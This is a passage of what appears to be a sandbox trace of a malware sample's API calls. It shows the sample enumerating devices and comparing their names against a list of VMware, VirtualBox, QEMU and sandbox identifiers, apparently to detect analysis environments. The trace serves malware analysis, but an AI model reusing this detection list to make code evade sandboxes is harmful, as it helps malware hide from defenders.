PropertyBuffer=0x261fa80, PropertyBufferSize=0x8, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x261fa80, RequiredSize=0x19fe7c) returned 1 [0241.621] StrStrIA (lpFirst="usbehci", lpSrch="vmxnet") returned 0x0 [0241.621] StrStrIA (lpFirst="usbehci", lpSrch="vmscsi") returned 0x0 [0241.621] StrStrIA (lpFirst="usbehci", lpSrch="VMAUDIO") returned 0x0 [0241.621] StrStrIA (lpFirst="usbehci", lpSrch="vmdebug") returned 0x0 [0241.621] StrStrIA (lpFirst="usbehci", lpSrch="vm3dmp") returned 0x0 [0241.621] StrStrIA (lpFirst="usbehci", lpSrch="vmrawdsk") returned 0x0 [0241.621] StrStrIA (lpFirst="usbehci", lpSrch="vmx_svga") returned 0x0 [0241.621] StrStrIA (lpFirst="usbehci", lpSrch="ansfltr") returned 0x0 [0241.621] StrStrIA (lpFirst="usbehci", lpSrch="sbtisht") returned 0x0 [0241.621] SetupDiEnumDeviceInfo (in: DeviceInfoSet=0x63da28, MemberIndex=0x17, DeviceInfoData=0x19fef4 | out: DeviceInfoData=0x19fef4) returned 1 [0241.621] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0241.631] GetLastError () returned 0x7a [0241.631] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x261f908, PropertyBufferSize=0x21, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x261f908, RequiredSize=0x19fe7c) returned 1 [0241.646] StrStrIA (lpFirst="Microsoft ???? ???? ?????? ?????", lpSrch="VMware Pointing") returned 0x0 [0241.646] StrStrIA (lpFirst="Microsoft ???? ???? ?????? ?????", lpSrch="VMware Accelerated") returned 0x0 [0241.647] StrStrIA (lpFirst="Microsoft ???? ???? ?????? ?????", lpSrch="VMware SCSI") returned 0x0 [0241.647] StrStrIA (lpFirst="Microsoft ???? ???? ?????? ?????", lpSrch="VMware SVGA") returned 0x0 [0241.647] StrStrIA (lpFirst="Microsoft ???? ???? ?????? ?????", lpSrch="VMware Replay") returned 0x0 [0241.647] StrStrIA (lpFirst="Microsoft ???? ???? ?????? ?????", lpSrch="VMware server memory") returned 0x0 [0241.647] StrStrIA (lpFirst="Microsoft ???? ???? ?????? ?????", lpSrch="CWSandbox") returned 0x0 [0241.647] StrStrIA (lpFirst="Microsoft ???? ???? ?????? ?????", lpSrch="Virtual HD") returned 0x0 [0241.647] StrStrIA (lpFirst="Microsoft ???? ???? ?????? ?????", lpSrch="QEMU") returned 0x0 [0241.647] StrStrIA (lpFirst="Microsoft ???? ???? ?????? ?????", lpSrch="Red Hat VirtIO") returned 0x0 [0241.647] StrStrIA (lpFirst="Microsoft ???? ???? ?????? ?????", lpSrch="srootkit") returned 0x0 [0241.647] StrStrIA (lpFirst="Microsoft ???? ???? ?????? ?????", lpSrch="VMware VMaudio") returned 0x0 [0241.647] StrStrIA (lpFirst="Microsoft ???? ???? ?????? ?????", lpSrch="VMware Vista") returned 0x0 [0241.647] StrStrIA (lpFirst="Microsoft ???? ???? ?????? ?????", lpSrch="VBoxVideo") returned 0x0 [0241.647] StrStrIA (lpFirst="Microsoft ???? ???? ?????? ?????", lpSrch="VBoxGuest") returned 0x0 [0241.647] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0241.648] GetLastError () returned 0x7a [0241.648] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x261f9f0, PropertyBufferSize=0x6, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x261f9f0, RequiredSize=0x19fe7c) returned 1 [0241.648] StrStrIA (lpFirst="kdnic", lpSrch="vmxnet") returned 0x0 [0241.648] StrStrIA (lpFirst="kdnic", lpSrch="vmscsi") returned 0x0 [0241.648] StrStrIA (lpFirst="kdnic", lpSrch="VMAUDIO") returned 0x0 [0241.648] StrStrIA (lpFirst="kdnic", lpSrch="vmdebug") returned 0x0 [0241.648] StrStrIA (lpFirst="kdnic", lpSrch="vm3dmp") returned 0x0 [0241.648] StrStrIA (lpFirst="kdnic", lpSrch="vmrawdsk") returned 0x0 [0241.648] StrStrIA (lpFirst="kdnic", lpSrch="vmx_svga") returned 0x0 [0241.649] StrStrIA (lpFirst="kdnic", lpSrch="ansfltr") returned 0x0 [0241.649] StrStrIA (lpFirst="kdnic", lpSrch="sbtisht") returned 0x0 [0241.649] SetupDiEnumDeviceInfo (in: DeviceInfoSet=0x63da28, MemberIndex=0x18, DeviceInfoData=0x19fef4 | out: DeviceInfoData=0x19fef4) returned 1 [0241.649] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0241.654] GetLastError () returned 0x7a [0241.654] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x261f908, PropertyBufferSize=0x11, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x261f908, RequiredSize=0x19fe7c) returned 1 [0241.656] StrStrIA (lpFirst="??????? ???? ???", lpSrch="VMware Pointing") returned 0x0 [0241.656] StrStrIA (lpFirst="??????? ???? ???", lpSrch="VMware Accelerated") returned 0x0 [0241.656] StrStrIA (lpFirst="??????? ???? ???", lpSrch="VMware SCSI") returned 0x0 [0241.656] StrStrIA (lpFirst="??????? ???? ???", lpSrch="VMware SVGA") returned 0x0 [0241.656] StrStrIA (lpFirst="??????? ???? ???", lpSrch="VMware Replay") returned 0x0 [0241.656] StrStrIA (lpFirst="??????? ???? ???", lpSrch="VMware server memory") returned 0x0 [0241.657] StrStrIA (lpFirst="??????? ???? ???", lpSrch="CWSandbox") returned 0x0 [0241.657] StrStrIA (lpFirst="??????? ???? ???", lpSrch="Virtual HD") returned 0x0 [0241.657] StrStrIA (lpFirst="??????? ???? ???", lpSrch="QEMU") returned 0x0 [0241.657] StrStrIA (lpFirst="??????? ???? ???", lpSrch="Red Hat VirtIO") returned 0x0 [0241.657] StrStrIA (lpFirst="??????? ???? ???", lpSrch="srootkit") returned 0x0 [0241.657] StrStrIA (lpFirst="??????? ???? ???", lpSrch="VMware VMaudio") returned 0x0 [0241.657] StrStrIA (lpFirst="??????? ???? ???", lpSrch="VMware Vista") returned 0x0 [0241.657] StrStrIA (lpFirst="??????? ???? ???", lpSrch="VBoxVideo") returned 0x0 [0241.657] StrStrIA (lpFirst="??????? ???? ???", lpSrch="VBoxGuest") returned 0x0 [0241.657] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0241.657] GetLastError () returned 0xd [0241.657] SetupDiEnumDeviceInfo (in: DeviceInfoSet=0x63da28, MemberIndex=0x19, DeviceInfoData=0x19fef4 | out: DeviceInfoData=0x19fef4) returned 1 [0241.657] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0241.660] GetLastError () returned 0x7a [0241.660] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x261f908, PropertyBufferSize=0x11, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x261f908, RequiredSize=0x19fe7c) returned 1 [0241.662] StrStrIA (lpFirst="??????? ???? ???", lpSrch="VMware Pointing") returned 0x0 [0241.662] StrStrIA (lpFirst="??????? ???? ???", lpSrch="VMware Accelerated") returned 0x0 [0241.663] StrStrIA (lpFirst="??????? ???? ???", lpSrch="VMware SCSI") returned 0x0 [0241.663] StrStrIA (lpFirst="??????? ???? ???", lpSrch="VMware SVGA") returned 0x0 [0241.663] StrStrIA (lpFirst="??????? ???? ???", lpSrch="VMware Replay") returned 0x0 [0241.663] StrStrIA (lpFirst="??????? ???? ???", lpSrch="VMware server memory") returned 0x0 [0241.663] StrStrIA (lpFirst="??????? ???? ???", lpSrch="CWSandbox") returned 0x0 [0241.663] StrStrIA (lpFirst="??????? ???? ???", lpSrch="Virtual HD") returned 0x0 [0241.663] StrStrIA (lpFirst="??????? ???? ???", lpSrch="QEMU") returned 0x0 [0241.663] StrStrIA (lpFirst="??????? ???? ???", lpSrch="Red Hat VirtIO") returned 0x0 [0241.663] StrStrIA (lpFirst="??????? ???? ???", lpSrch="srootkit") returned 0x0 [0241.663] StrStrIA (lpFirst="??????? ???? ???", lpSrch="VMware VMaudio") returned 0x0 [0241.663] StrStrIA (lpFirst="??????? ???? ???", lpSrch="VMware Vista") returned 0x0 [0241.663] StrStrIA (lpFirst="??????? ???? ???", lpSrch="VBoxVideo") returned 0x0 [0241.663] StrStrIA (lpFirst="??????? ???? ???", lpSrch="VBoxGuest") returned 0x0 [0241.663] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0241.663] GetLastError () returned 0xd [0241.663] SetupDiEnumDeviceInfo (in: DeviceInfoSet=0x63da28, MemberIndex=0x1a, DeviceInfoData=0x19fef4 | out: DeviceInfoData=0x19fef4) returned 1 [0241.664] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0241.669] GetLastError () returned 0x7a [0241.670] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x261f908, PropertyBufferSize=0x16, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x261f908, RequiredSize=0x19fe7c) returned 1 [0241.673] StrStrIA (lpFirst="ACPI ????? ????? ????", lpSrch="VMware Pointing") returned 0x0 [0241.674] StrStrIA (lpFirst="ACPI ????? ????? ????", lpSrch="VMware Accelerated") returned 0x0 [0241.674] StrStrIA (lpFirst="ACPI ????? ????? ????", lpSrch="VMware SCSI") returned 0x0 [0241.674] StrStrIA (lpFirst="ACPI ????? ????? ????", lpSrch="VMware SVGA") returned 0x0 [0241.674] StrStrIA (lpFirst="ACPI ????? ????? ????", lpSrch="VMware Replay") returned 0x0 [0241.674] StrStrIA (lpFirst="ACPI ????? ????? ????", lpSrch="VMware server memory") returned 0x0 [0241.674] StrStrIA (lpFirst="ACPI ????? ????? ????", lpSrch="CWSandbox") returned 0x0 [0241.674] StrStrIA (lpFirst="ACPI ????? ????? ????", lpSrch="Virtual HD") returned 0x0 [0241.674] StrStrIA (lpFirst="ACPI ????? ????? ????", lpSrch="QEMU") returned 0x0 [0241.674] StrStrIA (lpFirst="ACPI ????? ????? ????", lpSrch="Red Hat VirtIO") returned 0x0 [0241.674] StrStrIA (lpFirst="ACPI ????? ????? ????", lpSrch="srootkit") returned 0x0 [0241.674] StrStrIA (lpFirst="ACPI ????? ????? ????", lpSrch="VMware VMaudio") returned 0x0 [0241.674] StrStrIA (lpFirst="ACPI ????? ????? ????", lpSrch="VMware Vista") returned 0x0 [0241.674] StrStrIA (lpFirst="ACPI ????? ????? ????", lpSrch="VBoxVideo") returned 0x0 [0241.674] StrStrIA (lpFirst="ACPI ????? ????? ????", lpSrch="VBoxGuest") returned 0x0 [0241.674] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0241.674] GetLastError () returned 0xd [0241.674] SetupDiEnumDeviceInfo (in: DeviceInfoSet=0x63da28, MemberIndex=0x1b, DeviceInfoData=0x19fef4 | out: DeviceInfoData=0x19fef4) returned 1 [0241.674] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0241.678] GetLastError () returned 0x7a [0241.678] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x261f908, PropertyBufferSize=0x19, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x261f908, RequiredSize=0x19fe7c) returned 1 [0241.680] StrStrIA (lpFirst="Microsoft ???????? ?????", lpSrch="VMware Pointing") returned 0x0 [0241.681] StrStrIA (lpFirst="Microsoft ???????? ?????", lpSrch="VMware Accelerated") returned 0x0 [0241.681] StrStrIA (lpFirst="Microsoft ???????? ?????", lpSrch="VMware SCSI") returned 0x0 [0241.681] StrStrIA (lpFirst="Microsoft ???????? ?????", lpSrch="VMware SVGA") returned 0x0 [0241.681] StrStrIA (lpFirst="Microsoft ???????? ?????", lpSrch="VMware Replay") returned 0x0 [0241.681] StrStrIA (lpFirst="Microsoft ???????? ?????", lpSrch="VMware server memory") returned 0x0 [0241.681] StrStrIA (lpFirst="Microsoft ???????? ?????", lpSrch="CWSandbox") returned 0x0 [0241.681] StrStrIA (lpFirst="Microsoft ???????? ?????", lpSrch="Virtual HD") returned 0x0 [0241.681] StrStrIA (lpFirst="Microsoft ???????? ?????", lpSrch="QEMU") returned 0x0 [0241.681] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0241.682] GetLastError () returned 0x7a [0241.682] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x261f908, PropertyBufferSize=0xd, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x261f908, RequiredSize=0x19fe7c) returned 1 [0241.682] SetupDiEnumDeviceInfo (in: DeviceInfoSet=0x63da28, MemberIndex=0x1c, DeviceInfoData=0x19fef4 | out: DeviceInfoData=0x19fef4) returned 1 [0241.682] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0241.822] GetLastError () returned 0x7a [0241.822] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x261f908, PropertyBufferSize=0xa, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x261f908, RequiredSize=0x19fe7c) returned 1 [0241.859] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0241.860] GetLastError () returned 0x7a [0241.860] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x261fb88, PropertyBufferSize=0x7, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x261fb88, RequiredSize=0x19fe7c) returned 1 [0241.860] SetupDiEnumDeviceInfo (in: DeviceInfoSet=0x63da28, MemberIndex=0x1d, DeviceInfoData=0x19fef4 | out: DeviceInfoData=0x19fef4) returned 1 [0241.860] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0241.944] GetLastError () returned 0x7a [0241.944] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x261f908, PropertyBufferSize=0x13, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x261f908, RequiredSize=0x19fe7c) returned 1 [0241.996] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0241.996] GetLastError () returned 0x7a [0241.996] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x261fb10, PropertyBufferSize=0x7, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x261fb10, RequiredSize=0x19fe7c) returned 1 [0241.997] SetupDiEnumDeviceInfo (in: DeviceInfoSet=0x63da28, MemberIndex=0x1e, DeviceInfoData=0x19fef4 | out: DeviceInfoData=0x19fef4) returned 1 [0241.997] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0242.028] GetLastError () returned 0x7a [0242.028] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x261f908, PropertyBufferSize=0x1a, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x261f908, RequiredSize=0x19fe7c) returned 1 [0242.039] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0242.039] GetLastError () returned 0x7a [0242.039] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x261fb40, PropertyBufferSize=0x6, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x261fb40, RequiredSize=0x19fe7c) returned 1 [0242.040] SetupDiEnumDeviceInfo (in: DeviceInfoSet=0x63da28, MemberIndex=0x1f, DeviceInfoData=0x19fef4 | out: DeviceInfoData=0x19fef4) returned 1 [0242.041] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0242.045] GetLastError () returned 0x7a [0242.045] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x261f908, PropertyBufferSize=0xe, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x261f908, RequiredSize=0x19fe7c) returned 1 [0242.048] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0242.048] GetLastError () returned 0xd [0242.048] SetupDiEnumDeviceInfo (in: DeviceInfoSet=0x63da28, MemberIndex=0x20, DeviceInfoData=0x19fef4 | out: DeviceInfoData=0x19fef4) returned 1 [0242.048] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0242.056] GetLastError () returned 0x7a [0242.056] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x261f908, PropertyBufferSize=0xa, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x261f908, RequiredSize=0x19fe7c) returned 1 [0242.063] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0242.063] GetLastError () returned 0xd [0242.063] SetupDiEnumDeviceInfo (in: DeviceInfoSet=0x63da28, MemberIndex=0x21, DeviceInfoData=0x19fef4 | out: DeviceInfoData=0x19fef4) returned 1 [0242.063] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0242.073] GetLastError () returned 0x7a [0242.073] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x261f908, PropertyBufferSize=0x10, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x261f908, RequiredSize=0x19fe7c) returned 1 [0242.077] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0242.077] GetLastError () returned 0x7a [0242.077] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x261f908, PropertyBufferSize=0x11, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x261f908, RequiredSize=0x19fe7c) returned 1 [0242.077] SetupDiEnumDeviceInfo (in: DeviceInfoSet=0x63da28, MemberIndex=0x22, DeviceInfoData=0x19fef4 | out: DeviceInfoData=0x19fef4) returned 1 [0242.077] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0242.083] GetLastError () returned 0x7a [0242.083] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x261f908, PropertyBufferSize=0xc, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x261f908, RequiredSize=0x19fe7c) returned 1 [0242.088] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0242.088] GetLastError () returned 0x7a [0242.089] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x261f908, PropertyBufferSize=0x9, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x261f908, RequiredSize=0x19fe7c) returned 1 [0242.089] SetupDiEnumDeviceInfo (in: DeviceInfoSet=0x63da28, MemberIndex=0x23, DeviceInfoData=0x19fef4 | out: DeviceInfoData=0x19fef4) returned 1 [0242.089] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0242.105] GetLastError () returned 0x7a [0242.105] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x261f908, PropertyBufferSize=0x18, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x261f908, RequiredSize=0x19fe7c) returned 1 [0242.114] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0242.114] GetLastError () returned 0x7a [0242.114] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x261f7d8, PropertyBufferSize=0x4, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x261f7d8, RequiredSize=0x19fe7c) returned 1 [0242.114] SetupDiEnumDeviceInfo (in: DeviceInfoSet=0x63da28, MemberIndex=0x24, DeviceInfoData=0x19fef4 | out: DeviceInfoData=0x19fef4) returned 1 [0242.114] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0242.120] GetLastError () returned 0x7a [0242.120] SetupDiGetDeviceRegistryPropertyA (in: 